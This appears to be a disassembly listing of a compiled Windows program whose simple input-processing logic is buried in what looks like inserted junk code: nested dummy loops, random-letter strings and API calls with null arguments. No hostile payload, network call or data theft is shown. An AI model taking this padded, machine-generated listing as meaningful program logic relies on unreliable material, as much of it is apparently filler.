mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x16ac], 0x6e7
jge 0x4e7045
mov edx, dword [ebp - 0x26a0]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x16b4], 0x47f
jge 0x4e7061
mov edx, dword [ebp - 0x23f8]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x173c], 0x62da
mov dword [ebp - 0x1704], pe_nt_image_headers32
mov dword [ebp - 0x26b8], str.ohsfsewmx_wis_tbnkp_aivdukl_tgutrfwv_njsodetjn_lyinrtwdx_xvft_qpqhersmc
cmp dword [ebp - 0x1704], 0x3e3
jle 0x4e75f6
and dword [ebp - 0xc60], 0
jmp 0x4e70a5
mov eax, dword [ebp - 0xc60]
inc eax
mov dword [ebp - 0xc60], eax
cmp dword [ebp - 0xc60], 0x2f23
jge 0x4e75f6
and dword [ebp - 0xc68], 0
jmp 0x4e70cb
mov eax, dword [ebp - 0xc68]
inc eax
mov dword [ebp - 0xc68], eax
cmp dword [ebp - 0xc68], 0x3112
jge 0x4e75f1
mov dword [ebp - 0x16fc], 0x3116
mov dword [ebp - 0x2410], str.pctv_fkshhyprn_owhpkixp_rad_sxrbee_urqkqv_hhysesunt_rbb_rveei_ohdimrkbl_vpuuymsk_gypmxlasy
cmp dword [ebp - 0x16fc], 0x32f9
jle 0x4e7588
and dword [ebp - 0xc58], 0
jmp 0x4e7115
mov eax, dword [ebp - 0xc58]
inc eax
mov dword [ebp - 0xc58], eax
cmp dword [ebp - 0xc58], 0x59e1
jge 0x4e757c
and dword [ebp - 0xc50], 0
jmp 0x4e713b
mov eax, dword [ebp - 0xc50]
inc eax
mov dword [ebp - 0xc50], eax
cmp dword [ebp - 0xc50], 0x2cfc
jge 0x4e7577
and dword [ebp - 0xc40], 0
jmp 0x4e7161
mov eax, dword [ebp - 0xc40]
inc eax
mov dword [ebp - 0xc40], eax
cmp dword [ebp - 0xc40], 0x4ff6
jge 0x4e7572
mov dword [ebp - 0x26a8], 0x1ad5
cmp dword [ebp - 0x26a8], 0xa7d
jge 0x4e74f0
lea eax, [ebp - 0x16e4]
push eax
lea eax, [ebp - 0x2d8]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x2404], 0
lea eax, [ebp - 0x2404]
push eax
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0x1460]
call fcn.00417d23
and dword [ebp - 0x26b0], 0
lea eax, [ebp - 0x26b0]
push eax
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0x2a24]
call fcn.00417d23
mov byte [ebp - 0x22b], 1
lea eax, [ebp - 0x22b]
push eax
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0x2c90]
call fcn.00417c27
and dword [ebp - 0xc38], 0
and dword [ebp - 0x6c], 0
jmp 0x4e7217
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x2d8]
jge 0x4e7359
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
cmp dword [eax], 0
jle 0x4e72b0
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
mov dword [ebp - 0x16bc], eax
mov eax, dword [ebp - 0x16bc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x16bc]
mov dword [ecx], eax
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
push dword [eax]
lea ecx, [ebp - 0x2a24]
call fcn.00417bb8
mov dword [ebp - 0x16c4], eax
mov eax, dword [ebp - 0x16c4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x16c4]
mov dword [ecx], eax
jmp 0x4e7354
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
mov esi, dword [eax]
neg esi
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
mov dword [eax], esi
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
mov dword [ebp - 0x16cc], eax
mov eax, dword [ebp - 0x16cc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x16cc]
mov dword [ecx], eax
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
push dword [eax]
lea ecx, [ebp - 0x2a24]
call fcn.00417bb8
mov dword [ebp - 0x16d4], eax
mov eax, dword [ebp - 0x16d4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x16d4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc38]
inc eax
mov dword [ebp - 0xc38], eax
push 0
push dword [ebp - 0x6c]
lea eax, [ebp - 0x30cc]
push eax
lea ecx, [ebp - 0x2c90]
call fcn.00417c57
mov ecx, eax
call fcn.00417c76
jmp 0x4e7210
and dword [ebp - 0x1274], 0
and dword [ebp - 0xc30], 0
jmp 0x4e7376
mov eax, dword [ebp - 0xc30]
inc eax
mov dword [ebp - 0xc30], eax
mov eax, dword [ebp - 0xc30]
cmp eax, dword [ebp - 0x2d8]
jge 0x4e73cc
push dword [ebp - 0xc30]
lea ecx, [ebp - 0x2a24]
call fcn.00417bb8
mov ecx, dword [ebp - 0x16e4]
sub ecx, dword [ebp - 0xc38]
cmp dword [eax], ecx
jne 0x4e73b1
mov dword [ebp - 0x16dc], 1
jmp 0x4e73b8
and dword [ebp - 0x16dc], 0
mov eax, dword [ebp - 0x1274]
add eax, dword [ebp - 0x16dc]
mov dword [ebp - 0x1274], eax
jmp 0x4e7369
and dword [ebp - 0x2e0], 0
jmp 0x4e73e2
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2e0]
cmp eax, dword [ebp - 0x2d8]
jge 0x4e74cf
push dword [ebp - 0x2e0]
lea ecx, [ebp - 0x1460]
call fcn.00417bb8
push dword [eax]
lea ecx, [ebp - 0x2a24]
call fcn.00417bb8
mov ecx, dword [ebp - 0x16e4]
sub ecx, dword [ebp - 0xc38]
cmp dword [eax], ecx
je 0x4e746c
push dword [ebp - 0x2e0]
lea eax, [ebp - 0x30ec]
push eax
lea ecx, [ebp - 0x2c90]
call fcn.00417c57
mov ecx, eax
call fcn.00417c9b
movzx eax, al
test eax, eax
je 0x4e7454
mov dword [ebp - 0x16ec], 0xac2784
jmp 0x4e745e
mov dword [ebp - 0x16ec], str.Truth
push dword [ebp - 0x16ec]
call fcn.004f1b87
pop ecx
jmp 0x4e74ca
cmp dword [ebp - 0x1274], 1
jne 0x4e74bf
push dword [ebp - 0x2e0]
lea eax, [ebp - 0x308c]
push eax
lea ecx, [ebp - 0x2c90]
call fcn.00417c57
mov ecx, eax
call fcn.00417c9b
movzx eax, al
test eax, eax
je 0x4e74a7
mov dword [ebp - 0x16f4], str.Truth
jmp 0x4e74b1
mov dword [ebp - 0x16f4], 0xac2784
push dword [ebp - 0x16f4]
call fcn.004f1b87
pop ecx
jmp 0x4e74ca
push str.Not_defined
call fcn.004f1b87
pop ecx
jmp 0x4e73d5
lea ecx, [ebp - 0x2c90]
call fcn.00417c4a
lea ecx, [ebp - 0x2a24]
call fcn.00417aef
lea ecx, [ebp - 0x1460]
call fcn.00417aef
and dword [ebp - 0xc48], 0
jmp 0x4e7506
mov eax, dword [ebp - 0xc48]
inc eax
mov dword [ebp - 0xc48], eax
cmp dword [ebp - 0xc48], 0x7656
jge 0x4e756d
mov ecx, dword [ebp - 0xc40]
sub ecx, dword [ebp - 0xc48]
mov eax, dword [ebp - 0xc50]
sar eax, cl
and eax, dword [ebp - 0xc58]
cdq
mov dword [ebp - 0x2520], eax
mov dword [ebp - 0x251c], edx
push dword [ebp - 0x251c]
push dword [ebp - 0x2520]
lea ecx, [ebp - 0x3660]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3660]
call fcn.00401711
jmp 0x4e74f9
jmp 0x4e7154
jmp 0x4e712e
jmp 0x4e7108
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [ebp - 0xc60]
imul eax, dword [ebp - 0xc68]
cdq
mov dword [ebp - 0x252c], eax
mov dword [ebp - 0x2528], edx
cmp dword [ebp - 0x16fc], 0x2f8a
jge 0x4e75ba
push dword [ebp - 0x2410]
call fcn.004f1488
pop ecx
push dword [ebp - 0x2528]
push dword [ebp - 0x252c]
lea ecx, [ebp - 0x3690]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3690]
call fcn.00401711
jmp 0x4e70be
jmp 0x4e7098
mov dword [ebp - 0x26e0], str.fkrmb_jgwybu_qrcphw_ychvwaiwr_wthotrbyb_gtxq_gbkwpcx_yai_ghluja_ybs_raxhvg_dgyebyuds_iitavl
mov dword [ebp - 0x170c], 0x229d
mov dword [ebp - 0x26d0], str.nedqwogyi_dkvqtf_slno_kslhjemdv_ufujd_jyxkubbpl_qjfeo_eykiqbhn_xygfjd_srggwhfsa_eajdilwc_fcg_xqkyvsxw_uxcm
cmp dword [ebp - 0x170c], 0x22b5
jle 0x4e76ed
and dword [ebp - 0xc70], 0
jmp 0x4e763a
mov eax, dword [ebp - 0xc70]
inc eax
mov dword [ebp - 0xc70], eax
cmp dword [ebp - 0xc70], 0x7f06
jge 0x4e76ed
and dword [ebp - 0xc78], 0
jmp 0x4e7660
mov eax, dword [ebp - 0xc78]
inc eax
mov dword [ebp - 0xc78], eax
cmp dword [ebp - 0xc78], 0x7d9b
jge 0x4e76e8
and dword [ebp - 0xc80], 0
jmp 0x4e7682
mov eax, dword [ebp - 0xc80]
inc eax
mov dword [ebp - 0xc80], eax
cmp dword [ebp - 0xc80], 0x1c7f
jge 0x4e76e3
mov eax, dword [ebp - 0xc70]
mov ecx, dword [ebp - 0xc78]
sar eax, cl
xor eax, dword [ebp - 0xc80]
cdq
mov dword [ebp - 0x2538], eax
mov dword [ebp - 0x2534], edx
push dword [ebp - 0x2534]
push dword [ebp - 0x2538]
lea ecx, [ebp - 0x36c0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x36c0]
call fcn.00401711
jmp 0x4e7675
jmp 0x4e7653
jmp 0x4e762d
cmp dword [ebp - 0x1704], 0xffffff35
jge 0x4e7705
push dword [ebp - 0x26b8]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x170c], 0x21c7
jge 0x4e7989
mov dword [ebp - 0x241c], 0x1c4b
cmp dword [ebp - 0x241c], 0x135a
jge 0x4e797d
lea eax, [ebp - 0x127c]
push eax
lea eax, [ebp - 0x1724]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
mov byte [ebp - 0x95], 0
mov eax, dword [ebp - 0x127c]
mov dword [ebp - 0x26c0], eax
mov eax, dword [ebp - 0x127c]
dec eax
mov dword [ebp - 0x127c], eax
cmp dword [ebp - 0x26c0], 0
je 0x4e7950
mov byte [ebp - 0x1c5], 0
lea eax, [ebp - 0x1c5]
push eax
mov eax, dword [ebp - 0x1724]
inc eax
push eax
lea ecx, [ebp - 0x30dc]
call fcn.00417c27
push eax
push 2
lea ecx, [ebp - 0x2a34]
call fcn.004ea0d3
lea ecx, [ebp - 0x30dc]
call fcn.00417c4a
lea eax, [ebp - 0x1284]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1284]
mov dword [ebp - 0x2428], eax
mov eax, dword [ebp - 0x1284]
dec eax
mov dword [ebp - 0x1284], eax
cmp dword [ebp - 0x2428], 0
je 0x4e7889
lea eax, [ebp - 0xc88]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0xc88], 0
jle 0x4e7812
mov dword [ebp - 0x1714], 1
jmp 0x4e7819
and dword [ebp - 0x1714], 0
mov eax, dword [ebp - 0x1714]
mov dword [ebp - 0x2434], eax
cmp dword [ebp - 0xc88], 0
jle 0x4e783c
mov eax, dword [ebp - 0xc88]
mov dword [ebp - 0x171c], eax
jmp 0x4e784a
mov eax, dword [ebp - 0xc88]
neg eax
mov dword [ebp - 0x171c], eax
mov eax, dword [ebp - 0x171c]
mov dword [ebp - 0x26c8], eax
push 1
push dword [ebp - 0x26c8]
lea eax, [ebp - 0x306c]
push eax
push dword [ebp - 0x2434]
lea ecx, [ebp - 0x2a34]
call fcn.004ea0f5
mov ecx, eax
call fcn.00417c57
mov ecx, eax
call fcn.00417c76
jmp 0x4e77c4
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x45c], 1
jmp 0x4e78a6
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x45c]
cmp eax, dword [ebp - 0x1724]
jg 0x4e7924
movzx ebx, byte [ebp - 0x1c]
push dword [ebp - 0x45c]
lea eax, [ebp - 0x3084]
push eax
push 0
lea ecx, [ebp - 0x2a34]
call fcn.004ea0f5
mov ecx, eax
call fcn.00417c57
mov ecx, eax
call fcn.00417c9b
movzx esi, al
push dword [ebp - 0x45c]
lea eax, [ebp - 0x307c]
push eax
push 1
lea ecx, [ebp - 0x2a34]
call fcn.004ea0f5
mov ecx, eax
call fcn.00417c57
mov ecx, eax
call fcn.00417c9b
movzx eax, al
and esi, eax
or ebx, esi
mov byte [ebp - 0x1c], bl
movzx eax, byte [ebp - 0x1c]
test eax, eax
je 0x4e791f
jmp 0x4e7924
jmp 0x4e7899
movzx eax, byte [ebp - 0x1c]
test eax, eax
jne 0x4e7940
mov byte [ebp - 0x95], 1
lea ecx, [ebp - 0x2a34]
call fcn.00417fdb
jmp 0x4e7950
lea ecx, [ebp - 0x2a34]
call fcn.00417fdb
jmp 0x4e7751
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x4e7967
mov dword [ebp - 0x172c], 0xab5934
jmp 0x4e7971
mov dword [ebp - 0x172c], 0xab5938
push dword [ebp - 0x172c]
call fcn.004f1b87
pop ecx
push dword [ebp - 0x26d0]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x173c], 0x64c0
jle 0x4e7c7b
and dword [ebp - 0xc90], 0
jmp 0x4e79af
mov eax, dword [ebp - 0xc90]
inc eax
mov dword [ebp - 0xc90], eax
cmp dword [ebp - 0xc90], 0x4fe4
jge 0x4e7c7b
and dword [ebp - 0xc98], 0
jmp 0x4e79d5
mov eax, dword [ebp - 0xc98]
inc eax
mov dword [ebp - 0xc98], eax
cmp dword [ebp - 0xc98], 0x4001
jge 0x4e7c76
mov eax, dword [ebp - 0xc90]
imul eax, dword [ebp - 0xc98]
cdq
mov dword [ebp - 0x2550], eax
mov dword [ebp - 0x254c], edx
mov dword [ebp - 0x1734], 0x5d20
mov dword [ebp - 0x244c], str.wjj_wuxuxh_bgrr_cvknutqxw_guieasym_hrbf_rqby_hoexib_ffoe_wfmyb_caosb_qao_ekpfp_ito
cmp dword [ebp - 0x1734], 0x5fa0
jle 0x4e7aea
and dword [ebp - 0xca0], 0
jmp 0x4e7a39
mov eax, dword [ebp - 0xca0]
inc eax
mov dword [ebp - 0xca0], eax
cmp dword [ebp - 0xca0], 0x216f
jge 0x4e7aea
and dword [ebp - 0xca8], 0
jmp 0x4e7a5f
mov eax, dword [ebp - 0xca8]
inc eax
mov dword [ebp - 0xca8], eax
cmp dword [ebp - 0xca8], 0x5a4f
jge 0x4e7ae5
and dword [ebp - 0xcb0], 0
jmp 0x4e7a81
mov eax, dword [ebp - 0xcb0]
inc eax
mov dword [ebp - 0xcb0], eax
cmp dword [ebp - 0xcb0], 0x255
jge 0x4e7ae0
mov eax, dword [ebp - 0xca0]
sub eax, dword [ebp - 0xca8]
or eax, dword [ebp - 0xcb0]
cdq
mov dword [ebp - 0x2544], eax
mov dword [ebp - 0x2540], edx
push dword [ebp - 0x2540]
push dword [ebp - 0x2544]
lea ecx, [ebp - 0x36f0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x36f0]
call fcn.00401711
jmp 0x4e7a74
jmp 0x4e7a52
jmp 0x4e7a2c
push dword [ebp - 0x254c]
push dword [ebp - 0x2550]
lea ecx, [ebp - 0x3720]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3720]
call fcn.00401711
cmp dword [ebp - 0x1734], 0x597a
jge 0x4e7c71
mov dword [ebp - 0x2440], 0x15a3
cmp dword [ebp - 0x2440], 0xc3a
jge 0x4e7c65
and dword [ebp - 0x2e8], 0
lea eax, [ebp - 0x2e8]
push eax
push 0xab58f8
call fcn.004f117c
pop ecx
pop ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2e8]
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ec8d1
pop ecx
mov dword [ebp - 0x26d8], eax
mov eax, dword [ebp - 0x26d8]
mov dword [ebp - 0x2f0], eax
and dword [ebp - 0xcb8], 0
jmp 0x4e7ba3
mov eax, dword [ebp - 0xcb8]
inc eax
mov dword [ebp - 0xcb8], eax
mov eax, dword [ebp - 0xcb8]
cmp eax, dword [ebp - 0x2e8]
jae 0x4e7bcf
mov eax, dword [ebp - 0xcb8]
mov ecx, dword [ebp - 0x2f0]
lea eax, [ecx + eax*4]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e7b96
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2f0]
lea edx, [ecx + eax*4]
mov ecx, dword [ebp - 0x2f0]
call fcn.0041c72d
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2f0]
push dword [ecx + eax*4 - 4]
push 0xab64e4
call fcn.004f1488
pop ecx
pop ecx
mov dword [ebp - 0xcc0], 1
jmp 0x4e7c1e
mov eax, dword [ebp - 0xcc0]
inc eax
mov dword [ebp - 0xcc0], eax
mov eax, dword [ebp - 0x2e8]
dec eax
cmp dword [ebp - 0xcc0], eax
jae 0x4e7c4a
mov eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0x2f0]
push dword [ecx + eax*4]
push 0xab64e4
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e7c11
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2f0]
push dword [ecx + eax]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
push dword [ebp - 0x244c]
call fcn.004f1488
pop ecx
jmp 0x4e79c8
jmp 0x4e79a2
push dword [ebp - 0x2788]
push dword [ebp - 0x278c]
mov ecx, 0xac7538
call fcn.004178b5
cmp dword [ebp - 0x173c], 0x6141
jge 0x4e7ca9
push dword [ebp - 0x26e0]
call fcn.004f1488
pop ecx
jmp 0x4e5136
cmp dword [ebp - 0x1744], 0x198a
jge 0x4e7cc6
push dword [ebp - 0x2458]
call fcn.004f1488
pop ecx
jmp 0x4e4b14
cmp dword [ebp - 0x174c], 0x51af
jge 0x4e7ce7
mov edx, dword [ebp - 0x26e8]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x176c], 0x4bf1
mov dword [ebp - 0x26f8], str.lppjdpygg_hbrswq_fuh_djtotjp_ncyc
cmp dword [ebp - 0x176c], 0x4ccc
jle 0x4e7e80
mov dword [ebp - 0x1754], 0x405
mov dword [ebp - 0x2464], str.ilxsbf_kxjxoq_kye_ofuectp_wuowmellr_fbqslgfde_uvxsl
cmp dword [ebp - 0x1754], 0x779
jle 0x4e7dcf
and dword [ebp - 0xcc8], 0
jmp 0x4e7d45
mov eax, dword [ebp - 0xcc8]
inc eax
mov dword [ebp - 0xcc8], eax
cmp dword [ebp - 0xcc8], 0x2916
jge 0x4e7dc5
and dword [ebp - 0xcd0], 0
jmp 0x4e7d67
mov eax, dword [ebp - 0xcd0]
inc eax
mov dword [ebp - 0xcd0], eax
cmp dword [ebp - 0xcd0], 0x7a47
jge 0x4e7dc0
mov eax, dword [ebp - 0xcc8]
sub eax, dword [ebp - 0xcd0]
cdq
mov dword [ebp - 0x2798], eax
mov dword [ebp - 0x2794], edx
push dword [ebp - 0x2794]
push dword [ebp - 0x2798]
lea ecx, [ebp - 0x3750]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3750]
call fcn.00401711
jmp 0x4e7d5a
jmp 0x4e7d38
push 0
push 0
call dword [sym.imp.USER32.dll_ValidateRgn]
and dword [ebp - 0xcd8], 0
jmp 0x4e7de5
mov eax, dword [ebp - 0xcd8]
inc eax
mov dword [ebp - 0xcd8], eax
cmp dword [ebp - 0xcd8], 0x5ee1
jge 0x4e7e68
and dword [ebp - 0xce0], 0
jmp 0x4e7e07
mov eax, dword [ebp - 0xce0]
inc eax
mov dword [ebp - 0xce0], eax
cmp dword [ebp - 0xce0], 0x2232
jge 0x4e7e63
mov eax, dword [ebp - 0xcd8]
cdq
idiv dword [ebp - 0xce0]
mov eax, edx
cdq
mov dword [ebp - 0x27a4], eax
mov dword [ebp - 0x27a0], edx
push dword [ebp - 0x27a0]
push dword [ebp - 0x27a4]
lea ecx, [ebp - 0x3780]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3780]
call fcn.00401711
jmp 0x4e7dfa
jmp 0x4e7dd8
cmp dword [ebp - 0x1754], 0x2bd
jge 0x4e7e80
push dword [ebp - 0x2464]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x175c], 0x5066
jge 0x4e7fc3
mov dword [ebp - 0x1764], 0x6b6b
mov dword [ebp - 0x2470], str.khdrev_ogsv_knna_rghgitrg_plwl_yexgsv_jeeyubcu_lpguokprn_ritl_pnwq_oixitbkh_hccjhnhm_sfertbxl_boshxc
cmp dword [ebp - 0x1764], 0x6ee5
jle 0x4e7f97
and dword [ebp - 0xce8], 0
jmp 0x4e7eca
mov eax, dword [ebp - 0xce8]
inc eax
mov dword [ebp - 0xce8], eax
cmp dword [ebp - 0xce8], 0x9b5
jge 0x4e7f97
and dword [ebp - 0xcf0], 0
jmp 0x4e7ef0
mov eax, dword [ebp - 0xcf0]
inc eax
mov dword [ebp - 0xcf0], eax
cmp dword [ebp - 0xcf0], 0x7058
jge 0x4e7f92
and dword [ebp - 0xcf8], 0
jmp 0x4e7f16
mov eax, dword [ebp - 0xcf8]
inc eax
mov dword [ebp - 0xcf8], eax
cmp dword [ebp - 0xcf8], 0x50b6
jge 0x4e7f8d
and dword [ebp - 0xd00], 0
jmp 0x4e7f38
mov eax, dword [ebp - 0xd00]
inc eax
mov dword [ebp - 0xd00], eax
cmp dword [ebp - 0xd00], 0x497a
jge 0x4e7f88
mov eax, dword [ebp - 0xce8]
cdq
idiv dword [ebp - 0xcf0]
mov eax, edx
cdq
idiv dword [ebp - 0xcf8]
imul edx, dword [ebp - 0xd00]
mov eax, edx
cdq
mov dword [ebp - 0x27b0], eax
mov dword [ebp - 0x27ac], edx
push dword [ebp - 0x27ac]
push dword [ebp - 0x27b0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e7f2b
jmp 0x4e7f09
jmp 0x4e7ee3
jmp 0x4e7ebd
mov edx, dword [ebp - 0x26f0]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1764], 0x6810
jge 0x4e7fc3
mov edx, dword [ebp - 0x2470]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x176c], 0x4a1f
jge 0x4e7fdb
push dword [ebp - 0x26f8]
call fcn.004f1488
pop ecx
jmp 0x4e31aa
cmp dword [ebp - 0x1774], 0xba0
jge 0x4e7ffc
mov edx, dword [ebp - 0x247c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1784], 0x1953
mov dword [ebp - 0x2720], str.gjmmycne_vuufcvn_dvnkgils_euljbvnx
cmp dword [ebp - 0x1784], 0x1d07
jle 0x4e8212
and dword [ebp - 0xd18], 0
jmp 0x4e8036
mov eax, dword [ebp - 0xd18]
inc eax
mov dword [ebp - 0xd18], eax
cmp dword [ebp - 0xd18], 0x3575
jge 0x4e8212
mov dword [ebp - 0x2700], 0x2305
cmp dword [ebp - 0x2700], 0x829
jge 0x4e8139
lea eax, [ebp - 0x128c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x128c]
mov dword [ebp - 0x2488], eax
mov eax, dword [ebp - 0x128c]
dec eax
mov dword [ebp - 0x128c], eax
cmp dword [ebp - 0x2488], 0
je 0x4e8139
lea eax, [ebp - 0x2494]
push eax
lea eax, [ebp - 0x2708]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0xd08], 0
jmp 0x4e80ca
mov eax, dword [ebp - 0xd08]
inc eax
mov dword [ebp - 0xd08], eax
mov eax, dword [ebp - 0xd08]
cmp eax, dword [ebp - 0x2708]
jge 0x4e8134
and dword [ebp - 0xd10], 0
jmp 0x4e80ee
mov eax, dword [ebp - 0xd10]
inc eax
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0xd10]
cmp eax, dword [ebp - 0x2494]
jge 0x4e8127
mov eax, dword [ebp - 0xd08]
add eax, dword [ebp - 0xd10]
jne 0x4e8110
mov byte [ebp - 0x7d], 0x57
jmp 0x4e8114
mov byte [ebp - 0x7d], 0x42
movsx eax, byte [ebp - 0x7d]
push eax
push 0xab610c
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e80e1
push 0xab559b
call fcn.004f1b87
pop ecx
jmp 0x4e80bd
jmp 0x4e8073
and dword [ebp - 0xd20], 0
jmp 0x4e814f
mov eax, dword [ebp - 0xd20]
inc eax
mov dword [ebp - 0xd20], eax
cmp dword [ebp - 0xd20], 0x2b6f
jge 0x4e820d
and dword [ebp - 0xd28], 0
jmp 0x4e8175
mov eax, dword [ebp - 0xd28]
inc eax
mov dword [ebp - 0xd28], eax
cmp dword [ebp - 0xd28], 0x1d01
jge 0x4e8208
and dword [ebp - 0xd30], 0
jmp 0x4e819b
mov eax, dword [ebp - 0xd30]
inc eax
mov dword [ebp - 0xd30], eax
cmp dword [ebp - 0xd30], 0x235
jge 0x4e8203
mov eax, dword [ebp - 0xd18]
imul eax, dword [ebp - 0xd20]
mov ecx, dword [ebp - 0xd28]
sub ecx, dword [ebp - 0xd30]
and eax, ecx
cdq
mov dword [ebp - 0x27bc], eax
mov dword [ebp - 0x27b8], edx
push dword [ebp - 0x27b8]
push dword [ebp - 0x27bc]
lea ecx, [ebp - 0x37b0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x37b0]
call fcn.00401711
jmp 0x4e818e
jmp 0x4e8168
jmp 0x4e8142
jmp 0x4e8029
cmp dword [ebp - 0x177c], 0x17da
jge 0x4e822a
push dword [ebp - 0x2710]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1784], 0x1640
jge 0x4e8417
mov dword [ebp - 0x24a0], 0x23c1
cmp dword [ebp - 0x24a0], 0x93a
jge 0x4e840b
lea eax, [ebp - 0xd40]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0xd40]
inc eax
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ec8d1
pop ecx
mov dword [ebp - 0x2718], eax
mov eax, dword [ebp - 0x2718]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0xd38], 1
jmp 0x4e82ae
mov eax, dword [ebp - 0xd38]
inc eax
mov dword [ebp - 0xd38], eax
mov eax, dword [ebp - 0xd38]
cmp eax, dword [ebp - 0xd40]
jg 0x4e82da
mov eax, dword [ebp - 0xd38]
mov ecx, dword [ebp - 0x188]
lea eax, [ecx + eax*4]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e82a1
lea eax, [ebp - 0x1294]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x13c], 0
and dword [ebp - 0x129c], 0
mov eax, dword [ebp - 0x1294]
mov dword [ebp - 0x24ac], eax
mov eax, dword [ebp - 0x1294]
dec eax
mov dword [ebp - 0x1294], eax
cmp dword [ebp - 0x24ac], 0
je 0x4e83c7
lea eax, [ebp - 0x129c]
push eax
lea eax, [ebp - 0x13c]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
cmp dword [ebp - 0x13c], 1
jle 0x4e836f
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x188]
mov eax, dword [ecx + eax*4 - 4]
mov ecx, dword [ebp - 0x129c]
lea eax, [ecx + eax - 1]
mov ecx, dword [ebp - 0x13c]
mov edx, dword [ebp - 0x188]
mov dword [edx + ecx*4 - 4], eax
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0xd40]
jge 0x4e83b2
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x188]
mov eax, dword [ecx + eax*4]
sub eax, dword [ebp - 0x129c]
mov ecx, dword [ebp - 0x13c]
mov edx, dword [ebp - 0x188]
add eax, dword [edx + ecx*4 + 4]
